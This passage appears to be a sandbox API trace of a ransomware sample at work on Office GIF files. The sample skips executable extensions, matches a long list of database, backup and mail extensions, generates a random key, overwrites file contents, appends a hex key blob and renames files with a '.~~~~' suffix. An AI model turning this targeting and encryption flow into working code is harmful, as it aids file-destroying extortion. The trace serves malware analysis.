	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".pst") returned 0x0
	[0140.292] lstrlenW (lpString=".dbv") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dbv") returned 0x0
	[0140.292] lstrlenW (lpString=".SDF") returned 4
	[0140.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".SDF") returned 0x0
	[0140.292] lstrlenW (lpString=".dtxs") returned 5
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.293] lstrlenW (lpString=".db3") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".db3") returned 0x0
	[0140.293] lstrlenW (lpString=".OST") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".OST") returned 0x0
	[0140.293] lstrlenW (lpString=".dbx") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dbx") returned 0x0
	[0140.293] lstrlenW (lpString=".DB3") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DB3") returned 0x0
	[0140.293] lstrlenW (lpString=".DAT") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DAT") returned 0x0
	[0140.293] lstrlenW (lpString=".VHDX") returned 5
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.293] lstrlenW (lpString=".ndf") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".ndf") returned 0x0
	[0140.293] lstrlenW (lpString=".DB") returned 3
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DB") returned 0x0
	[0140.293] lstrlenW (lpString=".sql") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".sql") returned 0x0
	[0140.293] lstrlenW (lpString=".MYD") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".MYD") returned 0x0
	[0140.293] lstrlenW (lpString=".DBT") returned 4
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DBT") returned 0x0
	[0140.293] lstrlenW (lpString=".ACCDB") returned 6
	[0140.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.293] lstrlenW (lpString=".fdb") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".fdb") returned 0x0
	[0140.294] lstrlenW (lpString=".bak") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".bak") returned 0x0
	[0140.294] lstrlenW (lpString=".myd") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".myd") returned 0x0
	[0140.294] lstrlenW (lpString=".DTXS") returned 5
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.294] lstrlenW (lpString=".ckp") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".ckp") returned 0x0
	[0140.294] lstrlenW (lpString=".dbt") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".dbt") returned 0x0
	[0140.294] lstrlenW (lpString=".db") returned 3
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".db") returned 0x0
	[0140.294] lstrlenW (lpString=".TXT") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".TXT") returned 0x0
	[0140.294] lstrlenW (lpString=".MDF") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".MDF") returned 0x0
	[0140.294] lstrlenW (lpString=".bdb") returned 4
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".bdb") returned 0x0
	[0140.294] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.294] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.295] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.296] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.296] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.296] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.296] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26028623475) returned 1
	[0140.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd08e9b0, dwHighDateTime=0x1d60e1e)) 
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5268
	[0140.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5268 | out: hHeap=0x300000) returned 1
	[0140.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38f300
	[0140.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.297] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0140.297] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f300 | out: hHeap=0x300000) returned 1
	[0140.297] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.297] GetLastError () returned 0x0
	[0140.297] GetLastError () returned 0x0
	[0140.298] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.298] GetLastError () returned 0x0
	[0140.298] GetLastError () returned 0x0
	[0140.298] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x1cb8, lpOverlapped=0x0) returned 1
	[0140.399] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe348, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.399] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x1cb8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x1cb8, lpOverlapped=0x0) returned 1
	[0140.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.399] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.399] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.399] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.399] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.399] CloseHandle (hObject=0xc4) returned 1
	[0140.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce230
	[0140.400] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif.~~~~")) returned 1
	[0140.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0140.472] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.472] GetLastError () returned 0x0
	[0140.473] RtlWakeConditionVariable () returned 0x365f70
	[0140.473] GetCurrentThreadId () returned 0x9f4
	[0140.473] GetCurrentThreadId () returned 0x9f4
	[0140.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0140.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d378 | out: hHeap=0x300000) returned 1
	[0140.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0140.473] lstrlenW (lpString=".scr") returned 4
	[0140.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".scr") returned 0x0
	[0140.473] lstrlenW (lpString=".cmd") returned 4
	[0140.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".cmd") returned 0x0
	[0140.473] lstrlenW (lpString=".dll") returned 4
	[0140.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dll") returned 0x0
	[0140.473] lstrlenW (lpString=".bat") returned 4
	[0140.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".bat") returned 0x0
	[0140.473] lstrlenW (lpString=".cpl") returned 4
	[0140.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".cpl") returned 0x0
	[0140.473] lstrlenW (lpString=".sys") returned 4
	[0140.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".sys") returned 0x0
	[0140.474] lstrlenW (lpString=".msc") returned 4
	[0140.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".msc") returned 0x0
	[0140.474] lstrlenW (lpString=".com") returned 4
	[0140.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".com") returned 0x0
	[0140.474] lstrlenW (lpString=".lnk") returned 4
	[0140.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".lnk") returned 0x0
	[0140.474] lstrlenW (lpString=".msp") returned 4
	[0140.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".msp") returned 0x0
	[0140.474] lstrlenW (lpString=".pif") returned 4
	[0140.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".pif") returned 0x0
	[0140.474] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.496] lstrlenW (lpString=".sqb") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".sqb") returned 0x0
	[0140.496] lstrlenW (lpString=".ost") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".ost") returned 0x0
	[0140.496] lstrlenW (lpString=".txt") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".txt") returned 0x0
	[0140.496] lstrlenW (lpString=".mdt") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".mdt") returned 0x0
	[0140.496] lstrlenW (lpString=".BDB") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".BDB") returned 0x0
	[0140.496] lstrlenW (lpString=".eql") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".eql") returned 0x0
	[0140.496] lstrlenW (lpString=".DBF") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DBF") returned 0x0
	[0140.496] lstrlenW (lpString=".EQL") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".EQL") returned 0x0
	[0140.496] lstrlenW (lpString=".FDB") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".FDB") returned 0x0
	[0140.496] lstrlenW (lpString=".EDB") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".EDB") returned 0x0
	[0140.496] lstrlenW (lpString=".DACPAC") returned 7
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.496] lstrlenW (lpString=".VHD") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".VHD") returned 0x0
	[0140.496] lstrlenW (lpString=".DBV") returned 4
	[0140.496] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DBV") returned 0x0
	[0140.497] lstrlenW (lpString=".dacpac") returned 7
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.497] lstrlenW (lpString=".sdf") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".sdf") returned 0x0
	[0140.497] lstrlenW (lpString=".accdb") returned 6
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".accdb") returned 0x0
	[0140.497] lstrlenW (lpString=".DBX") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DBX") returned 0x0
	[0140.497] lstrlenW (lpString=".MDT") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".MDT") returned 0x0
	[0140.497] lstrlenW (lpString=".SQB") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".SQB") returned 0x0
	[0140.497] lstrlenW (lpString=".vhd") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".vhd") returned 0x0
	[0140.497] lstrlenW (lpString=".bac") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".bac") returned 0x0
	[0140.497] lstrlenW (lpString=".mdf") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".mdf") returned 0x0
	[0140.497] lstrlenW (lpString=".BAK") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".BAK") returned 0x0
	[0140.497] lstrlenW (lpString=".BAC") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".BAC") returned 0x0
	[0140.497] lstrlenW (lpString=".dbs") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dbs") returned 0x0
	[0140.497] lstrlenW (lpString=".vhdx") returned 5
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.497] lstrlenW (lpString=".NDF") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".NDF") returned 0x0
	[0140.497] lstrlenW (lpString=".dat") returned 4
	[0140.497] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dat") returned 0x0
	[0140.498] lstrlenW (lpString=".DBS") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DBS") returned 0x0
	[0140.498] lstrlenW (lpString=".CKP") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".CKP") returned 0x0
	[0140.498] lstrlenW (lpString=".edb") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".edb") returned 0x0
	[0140.498] lstrlenW (lpString=".PST") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".PST") returned 0x0
	[0140.498] lstrlenW (lpString=".dbf") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dbf") returned 0x0
	[0140.498] lstrlenW (lpString=".SQL") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".SQL") returned 0x0
	[0140.498] lstrlenW (lpString=".pst") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".pst") returned 0x0
	[0140.498] lstrlenW (lpString=".dbv") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dbv") returned 0x0
	[0140.498] lstrlenW (lpString=".SDF") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".SDF") returned 0x0
	[0140.498] lstrlenW (lpString=".dtxs") returned 5
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.498] lstrlenW (lpString=".db3") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".db3") returned 0x0
	[0140.498] lstrlenW (lpString=".OST") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".OST") returned 0x0
	[0140.498] lstrlenW (lpString=".dbx") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".dbx") returned 0x0
	[0140.498] lstrlenW (lpString=".DB3") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DB3") returned 0x0
	[0140.498] lstrlenW (lpString=".DAT") returned 4
	[0140.498] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DAT") returned 0x0
	[0140.499] lstrlenW (lpString=".VHDX") returned 5
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.499] lstrlenW (lpString=".ndf") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".ndf") returned 0x0
	[0140.499] lstrlenW (lpString=".DB") returned 3
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DB") returned 0x0
	[0140.499] lstrlenW (lpString=".sql") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".sql") returned 0x0
	[0140.499] lstrlenW (lpString=".MYD") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".MYD") returned 0x0
	[0140.499] lstrlenW (lpString=".DBT") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".DBT") returned 0x0
	[0140.499] lstrlenW (lpString=".ACCDB") returned 6
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.499] lstrlenW (lpString=".fdb") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".fdb") returned 0x0
	[0140.499] lstrlenW (lpString=".bak") returned 4
	[0140.499] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF", lpSrch=".bak") returned 0x0
	[0140.499] lstrlenW (lpString=".myd") returned 4
